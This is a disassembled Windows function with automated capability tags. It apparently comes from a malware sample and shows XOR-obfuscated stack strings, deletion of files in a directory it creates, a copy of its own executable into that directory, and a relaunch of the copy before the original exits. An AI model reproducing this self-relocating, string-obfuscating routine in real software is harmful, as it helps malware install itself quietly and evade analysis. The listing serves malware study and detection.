Function at 0x4094cc
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Copy file
Create directory
Create process on windows
Delete file
Encode data using xor
Enumerate files on windows
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1ad4
call fcn.0040d7c0
movaps xmm0, xmmword [0x401a90]
push ebx
push esi
movups xmmword [ebp - 0x38], xmm0
xor ebx, ebx
mov esi, ecx
movaps xmm0, xmmword [0x4018f0]
mov eax, ebx
push edi
movups xmmword [ebp - 0x28], xmm0
xor byte [ebp + eax - 0x38], 0x55
inc eax
cmp eax, 0x1f
jb 0x4094f8
push 0x400
lea eax, [ebp - 0x12d0]
mov byte [ebp - 0x19], bl
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [ebp - 6], 0x55552e
mov eax, ebx
xor byte [ebp + eax - 6], 0x55
inc eax
cmp eax, 3
jb 0x409525
lea eax, [ebp - 6]
mov byte [ebp - 3], bl
push eax
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x880]
push eax
call esi
mov dword [ebp - 8], 0x55095528
mov eax, ebx
mov word [ebp - 4], 0x55
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 5
jb 0x409563
lea eax, [ebp - 8]
mov byte [ebp - 3], bl
push eax
lea eax, [ebp - 0x880]
push eax
call esi
lea eax, [ebp - 0x880]
lea edx, [ebp - 0x12d0]
push eax
mov ecx, edx
call fcn.00409cd1
lea ecx, [ebp - 0x880]
mov dword [esp], 0x800
call fcn.00406b80
add esp, 4
lea eax, [ebp - 0x12d0]
mov esi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
call ebx
test eax, eax
jle 0x409608
lea eax, [esi + esi]
cmp word [ebp + eax - 0x12d0], 0x5c
jne 0x4095fa
push eax
lea edx, [ebp - 0x12d0]
lea ecx, [ebp - 0x880]
call fcn.00406ba1
pop ecx
lea ecx, [ebp - 0x880]
call fcn.00409be1
test eax, eax
jne 0x4095fa
push eax
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x12d0]
inc esi
push eax
call ebx
cmp esi, eax
jl 0x4095bc
xor ebx, ebx
mov dword [ebp - 0x14], 0x557b557f
mov dword [ebp - 0x10], 0x552d5530
mov eax, ebx
mov dword [ebp - 0xc], 0x555530
xor byte [ebp + eax - 0x14], 0x55
inc eax
cmp eax, 0xb
jb 0x409621
lea eax, [ebp - 0x14]
mov byte [ebp - 9], bl
push eax
lea edx, [ebp - 0x12d0]
lea ecx, [ebp - 0x1ad0]
call fcn.00409cd1
pop ecx
lea eax, [ebp - 0xad0]
push eax
lea eax, [ebp - 0x1ad0]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4096a7
lea eax, [ebp - 0xaa4]
push eax
lea edx, [ebp - 0x12d0]
lea ecx, [ebp - 0x880]
call fcn.00409cd1
pop ecx
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x409803
lea eax, [ebp - 0xad0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x409660
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x10], 0x552f5534
mov eax, ebx
mov dword [ebp - 0xc], 0x55550a
xor byte [ebp + eax - 0x10], 0x55
inc eax
cmp eax, 7
jb 0x4096b7
movaps xmm0, xmmword [0x401ab0]
mov eax, ebx
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0x5530557b
mov dword [ebp - 0x1e], 0x5530552d
mov word [ebp - 0x1a], 0x55
xor byte [ebp + eax - 0x32], 0x55
inc eax
cmp eax, 0x19
jb 0x4096e3
mov byte [ebp - 0x19], bl
mov edi, ebx
mov bx, word [ebp - 0xc]
cmp word [ebp - 0x32], bx
jne 0x40972c
movzx eax, word [ebp - 0x10]
movzx esi, word [ebp - 0xe]
sub esi, eax
lea eax, [ebp - 0x32]
mov dword [ebp - 8], eax
mov ecx, esi
call fcn.0040823a
add eax, dword [ebp - 0x10]
inc edi
mov ecx, dword [ebp - 8]
mov word [ecx], ax
lea eax, [ebp - 0x32]
lea eax, [eax + edi*2]
mov dword [ebp - 8], eax
cmp word [eax], bx
je 0x40970d
lea eax, [ebp - 0x32]
push eax
lea edx, [ebp - 0x12d0]
lea ecx, [ebp - 0x880]
call fcn.00409cd1
pop ecx
mov ecx, 0x10000
call fcn.00406b28
mov esi, eax
test esi, esi
je 0x409803
push 0x8000
push esi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x4097fc
push ebx
lea eax, [ebp - 0x880]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x4097fc
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, eax
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 8], 1
jle 0x4097ac
push dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [edi + eax*2]
add edi, 4
jmp 0x4097ae
mov edi, ebx
push 0x44
pop ebx
push ebx
lea ecx, [ebp - 0x80]
call fcn.00406b80
add esp, 4
lea ecx, [ebp - 0x18]
push 0x10
call fcn.00406b80
add esp, 4
mov dword [ebp - 0x80], ebx
mov eax, ecx
xor ebx, ebx
push eax
lea eax, [ebp - 0x80]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4097fc
mov ecx, esi
call fcn.00406bcd
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, esi
call fcn.00406bcd
pop edi
pop esi
pop ebx
leave
ret